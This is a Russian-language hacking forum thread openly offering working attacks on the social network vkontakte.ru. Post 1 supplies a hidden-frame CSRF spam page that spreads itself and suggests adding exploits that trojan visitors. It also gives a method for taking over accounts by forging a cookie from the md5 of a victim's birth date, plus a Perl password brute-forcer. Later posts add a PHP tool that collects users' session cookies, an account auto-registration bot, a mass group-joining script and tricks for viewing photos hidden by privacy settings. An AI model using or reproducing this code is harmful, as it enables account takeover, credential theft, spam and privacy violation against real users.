WebHuntersTeam

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » WebHuntersTeam » Беседка » Vkontakte.ru


Vkontakte.ru

Сообщений 1 страница 5 из 5

1

Привет, котятки! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.

1. Занимательный javascript

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&a … age=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html
Код HTML:

<frameset ROWS="100%,0%,0%">
<FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
<FRAME NAME="preved" SRC="preved.html">
<FRAME NAME="timer" SRC="timer.html">
</frameset>

2) preved.html
Код HTML:

<html><head></head><body></body></html>

3) timer.html
Код HTML:

<head>
<script>
function timer() {
var msg = new String();
var msg_to ;
do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
msg=urlencode('Превед!'); // наше сообщение 8)
msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
// отправим наше сообщение
parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
setTimeout("timer()", 1250); // И поставим сами себя на таймер
}
</script>
</head>
<body>

<script>
timer();
</script>
</body>

Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)

2. Проблемы с безопасностью

В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

3. Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:

Код:
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

##########################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
##########################################
$dic = 'pass.txt';    #словарь паролей
$id = 111111;    #id цели
$mail = 'mail%40mail.com';	#мыло, вместо @ вписать %40
$threads = 4;    #количество потоков
##########################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
	"Host: vkontakte.ru\r\n".
	"Accept: */*\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "User-Agent: Mozillo\r\n".
            "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
            "Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass  $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
	my (@mas);
	while (<pass>){
	push @mas, $_;
	last if (@mas > 500);
	}
	chomp @mas;
	return @mas;
}

0

2

[The substitution of foreign pictures on graffiti]

http://www.x3k.ru/vkontakte/

Source:
http://x3k.ru/vkontakte/index.phps

PHP код:

Код:
<? 
function send_png($url,$filename,$cookie) { 
        $url_info=parse_url($url); 
        $port = isset($url_info['port']) ? $url_info['port'] : 80; 
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30); 
        if($fp) { 
            $head = "POST ".@$url_info['path']."?".@$url_info['query']." HTTP/1.1\r\n"; 
            if (!empty($url_info['port'])) { 
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n"; 
            } else { 
                $head .= "Host: ".@$url_info['host']."\r\n"; 
            } 
            $head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 
Accept-Encoding: gzip,deflate 
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Connection: keep-alive\r\n"; 
            $head .= "Cookie: $cookie\r\n"; 
            $head .= "Referer: http://vkontakte.ru/swf/Graffiti.swf?12\r\n"; 
            $head .= "Content-type: multipart/form-data; boundary=--OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST\r\n"; 




            $head2 ="----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST 
Content-Disposition: form-data; name=\"Signature\"\r\n\r\n"; 
            $head2 .=md5(substr(base64_encode(file_get_contents($file  name)), 0, 1024)); 
            $head2 .="\r\n"; 
            $head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST 
Content-Disposition: form-data; name=\"Filedata\"; filename=\"graffiti.png\" 
Content-Type: image/png\r\n\r\n"; 
            $head2 .= file_get_contents($filename); 
            $head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST 
Content-Disposition: form-data; name=\"Upload\" 

Submit Query 
----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST--"; 
            $head .= "Content-length: ".strlen($head2)."\r\n"; 
            $head .= "\r\n"; 
            $head .= $head2; 

            fputs($fp, $head); 
            while(!feof($fp) or ($eoheader==true)) { 
                if($header=fgets($fp, 1024)) { 
                    if ($header == "\r\n") { 
                        $eoheader = true; 
                        break; 
                    } else { 
                        $header = trim($header); 
                    } 
$format=0; 
                    if($format == 1) { 
                    $key = array_shift(explode(':',$header)); 
                        if($key == $header) { 
                            $headers[] = $header; 
                        } else { 
                            $headers[$key]=substr($header,strlen($key)+2); 
                        } 
                    unset($key); 
                    } else { 
                        $headers[] = $header; 
                    } 
                } 
            } 
            return $headers; 

        } else { 
            return false; 
        } 
    } 
if(isset($_POST['to_id'],$_POST['group_id'],$_POST['cook'],$_FILES["Filedata"])){ 
    if($_POST['to_id']==""){ 
        $_POST['to_id']='0'; 
    } 
    if($_POST['group_id']==""){ 
        $_POST['group_id']='0'; 
    } 
    copy($_FILES['Filedata']['tmp_name'], "tmpfile_"); 
    send_png("http://vkontakte.ru/graffiti.php?to_id={$_POST['to_id']}&group_id={$_POST['group_id']}","tmpfile_",$_POST['cook']); 
    header("Location: http://vkontakte.ru/graffiti.php?act=last"); 

}else{ 
    ?> 
<html> 
<head> 


<title>Подмена граффити на картинку vkontakte.ru</title> 

<meta http-equiv="content-type" content="text/html; charset=windows-1251" /> 
<style> 
body 
{ 
    margin: 0; 
    padding: 0; 
} 

#form 
{ 
    background: url( 'http://vkontakte.ru/images/xhead2.gif' ) no-repeat left top; 
    text-align: left; 
    width: 400px; 
    padding: 50px; 
    padding-bottom: 10px; 
    font-family: Verdana; 
    font-size: 12px; 
    border: 1px solid #ebebeb; 
} 

#counter 
{ 
    font-family: Arial; 
    font-size: 12px; 
} 

#bandwidth 
{ 
    font-family: Arial; 
    font-size: 11px; 
    /*display: none;*/ 
} 

</style> 
</head> 



<center> 
<div id="form"> 
<br /> 


<form action="<?=basename($_SERVER['SCRIPT_FILENAME'])?>" name="form" enctype="multipart/form-data" method=POST > 


Укажи ID стены и .png/.jpg картинку, которую ты хочешь закачать:<br /><br /> 


ID человека: 
<input type="text" name="to_id" size="10" /> <b><u>или</u></b> 

ID группы: 
<input type="text" name="group_id" size="10" /><br /><br /> 


<b style="color: red">Теперь картинки автоматом растягиваются до размера 272х136 пикселей: <a href="http://mypictr.com/?size=272x136">сервис уменьшения картинок</a></b><br /><br /> 



Файл<small>*</small>: 
<input type="file" name="Filedata"><br /> 
<br /> 


<small>* - максимум <b>300Кб</b></small> 
<br /> 
<br /> 


<b style="color: red">ВНИМАНИЕ!!! Следующий ШАГ обязателен! </b><br /><br /> 




Заходим на страницу Контакта, в строке браузера вводим: <b><i>javascript:document.write(document.cookie);</i></b><br> 

<br>Скопируйте сюда, что получили<small>**</small>:<br> 
Эта информация нигде не записывается + в куках прячется IP зафированный<br> 

<textarea cols=47 rows=10 name="cook"></textarea><br><br> 

<small>** - это конфиденциальная информация. Вы не должны показывать её третьим лицам.</small> 
<br /> 
<br /> 
<input type="submit" name="Upload" value="    Далее    "> 
</form> 
<br /> 

<p style="text-align: center;"> 



<b>Powered by:</b><Br> 
<a href="http://vkontakte.ru/id15070">Олег Максимов</a> 
</p> 
</div> 
    <?php 
} 
echo "<pre>"; 
//print_r(send_png("http://vkontakte.ru/graffiti.php?to_id=[ИД_Человека или 0 если отправляем на стену группы]&group_id=[ИД_Группы или 0 если отправляем на стену человека]","имя картинки.png","ваши куки вытянутые из броузера")); 
echo "</pre>"; 
?>

http://i030.radikal.ru/0802/a6/b6c1ce1a6bb9.gif

0

3

14 программ которые пригодятся и значительно облегчат жизнь всем пользователям социальной сети Вконтакте...
http://vampsoft.ifolder.ru/6023039

1.) VKTray - Программка tray висит в трее в виде значка, периодически проверяет наличие новых сообщений на сайте vkontakte.ru и информирует о новых сообщениях мигающей иконкой. При щелчке на иконку в браузере открывается страница сообщений, чтобы закрыть программу щелкните по значку в трее правой кнопкой мыши и выберите “Выход”.

2.) VKMusic - Качалка и поискових треков с огромной базы mp3 файлов залитых пользователями vkontakte.ru. VKMusic позволяет автоматизировать поиск нужных вам аудизаписей и скачивание их на ваш компьютер, выбор музыки оргомен. Авторизации не требуется.

3.) VKPaint - Рисовалка/загрузчик картинок вконтакт.ру, поможет вам добавить нужный элемент к вашему граффити или полностью перенести понравившую вам картинку на стену ваших друзей. Поддерживает 2 режима работы, "перерисовка" картинки и загрузка напрямую. В отличии от сайтов предоставляющих загрузку картинок, вам не приходится засвечивать доступ к своей учетке 3им лицам.

4.) VKPicture - имеет интуитивно понятный интерфейс и очень проста в использовании. Для программ такого уровня это решающий фактор, ведь при малейшем неудобстве утилита не оказывается применяемой. Всё, что нужно сделать, чтобы загрузить другу картинку – запустить программу, выбрать собственно друга и картинку (последнее осуществляется стандартным диалоговым окном Windows). Не забудьте после этого на самом сайте нажать на кнопку "Опубликовать на стене".

5.) VKMusicScript - Этот скрипт поможет Вам сохранить аудиофайлы, залитые пользователями ВКонтакте.ру к себе на компьютер. Скрипт добавляет около кнопок прослушивания музыки ссылку для скачивания и ссылку для быстрого поиска слов песни. Описание использования скрипта прилагается.

6.) VKVideoScript - Этот скрипт поможет Вам сохранить видеофайлы, залитые пользователями ВКонтакте.ру к себе на компьютер. Скрипт добавляет около видеороликов ссылку для скачивания. Описание использования скрипта прилагается.

7.) VKVideoGrabber - Виджет для браузера Opera, позволяющих сохранить любые видеофайлы выложенные пользователями ВКонтакте.ру.

8.) VKClient - Нехотите расставаться с ВКонтактом ни на минуту? Java-приложение VKClient для мобильных телефонов позволяет оставаться вконтакте даже когда у Вас нет возможности находиться в интернете через персональный компьютер.

9.) VKStatus 1.0 - Программа для управлениями статусами в контакте, позволяет быстро переключать на "горячие" статусы (прописанные заранее), делать свой статус многострочным и висеть в трее.

10.) VKToolBar 0.1 for Internet Explorer - Установите официальный тулбар для Internet Explorer и получайте мгновенные уведомления о новых сообщениях, событиях, группах и т.д. не заходя на сайт.

11.) VKToolBar 0.5 for Firefox - Установите официальный тулбар для Firefox и получайте мгновенные уведомления о новых сообщениях, событиях, группах и т.д. не заходя на сайт.

12.) VKToolBar Widget 0.2 for Opera - Установите официальный тулбар-виджет для Opera и получайте мгновенные уведомления о новых сообщениях, событиях, группах и т.д. не заходя на сайт.

13.) VKSovety - Сборник советов по ВКонтакте.ру. Содержит советы по просмотру "закрытых" профилей пользователей, по просмотру "закрытых" фотографий пользователя и многое другое.

14.) VKGetter - Программа строит карту друзей и выводит статистику: - количество друзей и друзей друзей - самые дружелюбные друзья - друзья, с которыми больше всего общих друзей - не знакомые люди, с которыми у вас больше всего общих друзей - самые популярные среди ваших друзей группы - самые популярные интересы Также, программа создаёт страницу со ссылками на домашние странички друзей.

0

4

Код:
<?php 
    // Vkontakte autoregger 
    // 28.02.2008 
    // (c) Isis, x3k.ru, xeka.ru 

    set_time_limit(0); 

    echo    "<center>CHMOD 777 need on this directory<br/><br/> 
            <form method='post'> 
                <input type='text' name='name' value='First name' /><br/> 
                <input type='text' name='surname' value='Last name' /><br/> 
                <input type='text' name='pwd' title='(min 6 chars)' value='password' /><br/> 
                <input type='submit' name='sub' value='Go!' /><br/> 
            </form>"; 

    if(isset($_POST['sub'])) 
    { 
        $x = 1; 
        while(1 == 1) 
        { 
            $xek    = file_get_contents('http://vkontakte.ru/reg0'); 
            $code    = ''; 
            $mu        = ''; 
            $cont    = ''; 

            $mad    = 'xek'.rand(111111,999999); 
            $name    = $_POST['name']; 
            $sur    = $_POST['surname']; 
            $pwd    = $_POST['pwd']; 

            $usl1    = preg_match('#<input type="hidden" name="code" id="code" value="(.*)">#', $xek, $outcode); 
            $usl2    = preg_match('#<input type="hidden" name="mu" id="mu" value="(.*)">#', $xek, $outmu); 

            if($usl1 && $usl2) 
            { 
                $code    = $outcode['1']; 
                $mu        = $outmu['1']; 

                $host = "vkontakte.ru"; 
                $port = "80"; 
                $post = "subm=1&time=reg&code=".$code."&mu=".$mu."&first_name=".$name."&last_name=".$sur."&email=".$mad."%40temporaryinbox.com&pass=".$pwd; 

                $httpq     = 
                "POST http://vkontakte.ru/profileEdit.php?page=education HTTP/1.1\r\n". 
                "Host: ".$host."\r\n". 
                "Referer: http://vkontakte.ru/reg0\r\n". 
                "User-Agent: x3k reger by Isis\r\n". 
                "Content-Type: application/x-www-form-urlencoded\r\n". 
                "Content-Length: ".strlen($post)."\r\n\r\n".$post; 

                $sock = fsockopen($host, $port, $errno, $errstr, 5); 

                if($sock) 
                { 
                    fwrite($sock, $httpq); 
                    $cont    = fread($sock, 6500); 
                    fclose($sock); 
                } 

                if(strpos($cont, 'confirm') !== false) 
                { 
                    echo 'Ждем появления письма на мыле '.$mad.'@temporaryinbox.com...';flush();sleep(3);e  cho '..';flush();sleep(3);echo '..<br/>';flush();sleep(3); 
                    $box    = file_get_contents('http://www.temporaryinbox.com/inbox.php?inbox='.$mad); 
                    preg_match("#location.href='(.*)';#", $box, $poch); 
                    $pri    = $poch['1']; 

                    $mail    = file_get_contents('http://www.temporaryinbox.com/'.$pri); 
                    $conf    = ''; 

                    preg_match('#code=(.*)" target="_blank">#', $mail, $conf); 
                    $key    = $conf['1']; 

                    $host = "vkontakte.ru"; 
                    $port = "80"; 
                    $post = 'code='.$key; 

                    $httpq     = 
                    "POST http://vkontakte.ru/confirm.php HTTP/1.1\r\n". 
                    "Host: ".$host."\r\n". 
                    "Referer: http://win.mail.ru\r\n". 
                    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\r\n". 
                    "Content-Type: application/x-www-form-urlencoded\r\n". 
                    "Set-Cookie: remixchk=5\r\n". 
                    "Content-Length: ".strlen($post)."\r\n\r\n".$post; 

                    $sock = fsockopen($host, $port, $errno, $errstr, 5); 

                    if ($sock) 
                    { 
                        fwrite($sock, $httpq); 
                        $cont    = fread($sock, 4096); 
                        fclose($sock); 
                    } 

                    if(strpos($cont, 'profile.php') !== false) 
                    { 
                        $usl3    = preg_match('#remixmid=(.*); expires#', $cont, $outid); 
                        echo 'Completed '.($x).' - '.$mad.'@temporaryinbox.com<br/>'; 
                        $fp    = fopen('accounts.txt', 'a') or die('Need CHMOD 777 for this directory'); 
                        fwrite($fp, $mad.'@temporaryinbox.com:'.$pwd.':'.$outid['1']."\r\n"); 
                        fclose($fp); 
                        $x++; 
                    } 
                } 
                else 
                { 
                    'Письмо пока не пришло..пролетаем (<br/>'; 
                } 
            } 
            else 
            { 
                echo 'Не найдено, завершаем<br/ >'; 
            } 
        } 
    } 

    echo '</center>'; 
?>

0

5

[Смотреть закрытые Профили \ Фото \ Видео]

Смотреть информацию закрытого профиля(фотографии, видео, заметки и т.д.) следующим оброзом:
1) Нужно знать ID человека
2) Наведите курсор "Друзья xxx" и строке появится примерно следующиq текст:
http://vkontakte.ru/friend.php?act=add&id=12345678 , где последние цифры как раз и есть ID
Потом нужно вставить этот ID в строки:
Фотографии:
http://vkontakte.ru/photos.php?act=user&id=ID ( В нашем случае 12345678 )
Фотоальбомы:
http://vkontakte.ru/photos.php?id=ID ( В нашем случае 12345678 )
Видеозаписи:
http://vkontakte.ru/video.php?id=ID ( В нашем случае 12345678 )
Заметки:
http://vkontakte.ru/notes.php?id=ID ( В нашем случае 12345678 )
В некоторых местах можно оставлять комментарии

Но этот способ не всегда действует, так как информация может быть защищена настройками приватности
(скрытые фотографии).
Так что рассмотрим еще один способ:
Возьмем возьмем фотографию Дурова с подругой ( http://vkontakte.ru/photos.php?act=show … &uid=1 ), но как мы видем фотография скрыта,
но мы можем взять ее "preview" ( http://cs01.vkontakte.ru/u13780/5273/m_1c6b8d221d.jpg ). смотрим в свойства рисунка и меняем букву “m” в имени рисунка
на букву “х” без кавычек. теперь мы получаем ссылку и смотрим на фотографию Дурова ( http://cs01.vkontakte.ru/u13780/5273/x_1c6b8d221d.jpg )

[Улучшенный просмотр фотографий]
http://citex.ru/vk/vkalbphoto.js
Данный скрипт создаёт иконку над фотографиями при нажатие на которую открывается сама фотография, а не страница с комментариями!
Для этого нужно дождаться полной загрузки страницы альбома

[Загрузка Музыки \ Видео на компьютер]
1) Рассмотрим вариант с музыкой, ее можно загрузить с помощью программ и скриптов!
Скрипты:
http://img362.imageshack.us/my.php?...vkmusic2gv4.png
Описание:

Скрипт для GreaseMonkey или браузера Opera
Добавляет около кнопок прослушивания музыки ссылку для скачивания и ссылку для быстрого поиска слов песни.
Для работы нужен Firefox с установленным дополнением GreaseMonkey или Opera.
Если вы используете Opera, то полученный файл надо будет сохранить в тот каталог,
который выбран в “Tools > Preferences > Advanced > Content > JavaScript option > User JavaScript files”

Код:
// ==UserScript== 
// @name vkontakte music download 
// @namespace http://vkontakte.net.ru 
// @description Music download for vkontakte.ru 
// @include http://vkontakte.ru/* 
// ==/UserScript== 


function addDownload(img) { 
var str=""; 
if (img.wrappedJSObject) { 
str=img.wrappedJSObject.onclick.toString(); 
} else { 
str=img.onclick.toString(); //opera workaround 
} 
var re=/operate((d+)[^0-9]+(d+)[^0-9]+(d+),[^0-9a-zA-Z]+([0-9a-zA-Z]+)/; 
var arr=re.exec(str); 
//operate(209145,1044,362847,'db5a6cba31',194); 
//http://cs1044.vkontakte.ru/u362847/audio/db5a6cba31.mp3 
var td=img.parentNode; 
var addon=document.createElement("a"); 
var user=arr[3]; 
if (user<100000) { 
user=parseInt(user)+100000; 
user=(user.toString()).substr(1); 
} 
addon.setAttribute("href","http://cs"+arr[2]+".vkontakte.ru/u"+user+"/audio/"+arr[4]+".mp3"); 
addon.innerHTML="download"; 
td.appendChild(addon); 
} 

function addDownloads() { 
var imgs=document.getElementsByTagName("img"); 

for (var i=0;i<imgs.length;i++) { 
if (imgs[i].className=="playimg") { 
addDownload(imgs[i]); 
} 
} 
} 

function addLyric(span) { 
var title=span.innerHTML; 
if (span.getElementsByTagName("a").length>0) { 
title=span.getElementsByTagName("a")[0].innerHTML; 
} 
var parent=span.parentNode; 
var artb=parent.getElementsByTagName("b")[0]; 
var artist=artb.innerHTML; 
if (artb.getElementsByTagName("a").length>0) { 
artist=artb.getElementsByTagName("a")[0].innerHTML; 
} 
var newdiv=document.createElement("div"); 
var addon=document.createElement("a"); 
// addon.setAttribute("href","http://lyrc.com.ar/en/tema1en.php?artist="+artist+"&songname="+title); 
addon.setAttribute("href","http://www.lyricsplugin.com/wmplayer03/plugin/?artist="+encodeURIComponent(artist)+"&title="+encodeURIComponent(title)); 
addon.setAttribute("target","_blank"); 
addon.innerHTML="lyrics"; 
newdiv.appendChild(addon); 
newdiv.className="duration"; 
parent.parentNode.appendChild(newdiv); 
} 

function addLyrics() { 
var spans= document.getElementsByTagName("span"); 
re=/titled+/; 
for (var i=0;i<spans.length;i++) { 
if (re.test(spans[i].id)) { 
addLyric(spans[i]); 
} 
} 
} 

addLyrics(); 
addDownloads();

Сохранить в vkontakte.music.js

Грабер музыки с вконтакта:

Код:
<html> 
<body> 
<center> 
<form action="graber.php" name="main" method="post"> 
<input type="text" name="link" size="80"> 
<input type="submit" value="Грабить!"> 
<form> 


<?php 
set_time_limit(0); //убираем ограничение времени выполнения скрипта 
if(@$_POST['link']!=""){ 

$link = $_POST['link']; //Указываем ссылку 

$toparse=""; 

preg_match("/^(http:\/\/)?([^\/]+)/i",$link,$host); //Отделяем доменное имя 

$req = "GET ".$link." HTTP/1.1\r\n"; //Формирование заголовка запроса 
$req .="Host: ".$host[2]."\r\n"; // 
$req .="Cookie: audio_vol=80;remixchk=5;remixemail=;remixmid=;remi xpass=;#10\r\n"; //Передача кукис 
$req .="Connection: Close\r\n\r\n"; // 


$socket = fsockopen($host[2],80); //Открываем сокет на 80й порт серва 

fwrite($socket,$req); //Отправляем запрос 

while(!feof($socket)){ // 
$toparse.=fgets($socket,128); //Получаем тело страницы по 128 байт 
} // 

fclose($socket); //Затрываем сокет 

$mask_link =array('return operate(',');'); //Маска 

preg_match_all("/(".$mask_link[0].")(.*)(".$mask_link[1].")/i",$toparse,$parsed_links); //Выбираем ссылки 



foreach($parsed_links[3] as $link_str){ //Берем каждый елемент масива в переменную $link_str 

$pattern=array("(",")","'"); //Что заменяем 
$replace=array("","",""); //Чем заменяем 

$replaced=str_replace($pattern,$replace,$link_str) ; //Убираем скобки 
$link_mas=explode(",",$replaced); //Преобразуем строку где разделитель запятая в масив 

echo "<a href=\"http://cs".$link_mas[1].".vkontakte.ru/u".$link_mas[2]."/audio/".$link_mas[3].".mp3\">"; //Начало ссылки 

$mask_name=array($link_mas[0],'<\/span>'); //Маска поиска Имени 

preg_match_all("/(".$mask_name[0].")(.*)(".$mask_name[1].")/i",$toparse,$parsed_names); // Выбираем имена 

$pattern=array("\">","</b>","<span id=\"title$link_mas[0]"); //Что заменяем 
$replace=array("","",""); //Чем заменяем 

$replaced=str_replace($pattern,$replace,$parsed_na mes[2][0]); //Убираем мусор 


echo $replaced."</a><br>"; //Конец ссылки 
} 
} 
?> 


</center> 
</body> 
</html>

Еще один скрипт:

Код:
javascript:function operate(konfuze,loves,you,all_,xP){you=you.toStrin g(10);while(you.length<5){you='0'+you;}document.getElementById('audio'+ko nfuze).innerHTML='<div><a href="http://cs'+loves+'.vkontakte.'+'ru/u'+you+'/audio/'+all_+'.mp3">Cкачать '+document.getElementById('performer'+konfuze).inn erHTML+' - '+document.getElementById('title'+konfuze).innerHT ML+'</a></div><br />';}

2) Рассмотрит вариант для скачивания видео, на данный момент самая актуальная программа это VKMusic - которая
позволяет автоматизировать поиск аудиозаписей в контакте и скачивание их на ваш компьютер. Авторизации не требуется(Но для более удобного и быстрого
скачивания рекомендуется).
http://img219.imageshack.us/my.php?...22474150hs4.jpg

Скачать \ Download
Так же имеются скрипты для скачивания видео:
Для FireFox :
http://www.mgupp.ru/2729/files?get=unplugvkontakte.xpi
http://www.mgupp.ru/2729/files?get=vk.xpi

Для Opera:
http://www.mgupp.ru/2729/files?get=vk2u.js

[Вступить во все группы данного пользователя]
1)Сам скрипт:

Код:
PHP код: 
<form id="param"> 
<table width="500" height="101" border="0"> 
<tr> 
<td width="112">with</td> 
<td width="378"><input name="minZn" type="text" value="1"></td> 
</tr> 
<tr> 
<td>to</td> 
<td><input name="maxZn" type="text" value="999999"></td> 
</tr> 
<tr> 
<td>adress</td> 
<td><input name="adress" type="text" value="http://vkontakte.ru/groups.php?act=enter&gid=" size="50"></td> 
</tr> 
<tr> 
<td>&nbsp;</td> 
<td><input name="button" type="button" onClick="GoHack()" value="Vkontakte must die!!(Go hack)"> 
<input name="button2" type="button" onClick="StopHack()" value="STOP"></td> 
</tr> 
</table> 
</form> 
<script language="javascript"> 
function StopHack() 
{ 
hackwindow.close(); 
} 

function HackWindowNewlocation(start, end, current) 
{ 
var time=4000; 
var domen=document.getElementById("param").adress.value; 
var url=""; 
start2=start; 
current2=current; 
end2=end; 
if(current2==start2){hackwindow=window.open("http://google.ru","hack");} 
if ((current2-1)==end2) {return ;} 
current2++; 
url=domen+current.toString(); 
window.hackwindow.location=url.toString(); 
setTimeout("HackWindowNewlocation(start2, end2, current2)",time); 
} 

function GoHack() 
{ 
var start=document.getElementById("param").minZn.value; 
var end=document.getElementById("param").maxZn.value; 
var current=start; 
HackWindowNewlocation(start,end,current); 
} 
</script>

0


Вы здесь » WebHuntersTeam » Беседка » Vkontakte.ru


создать форум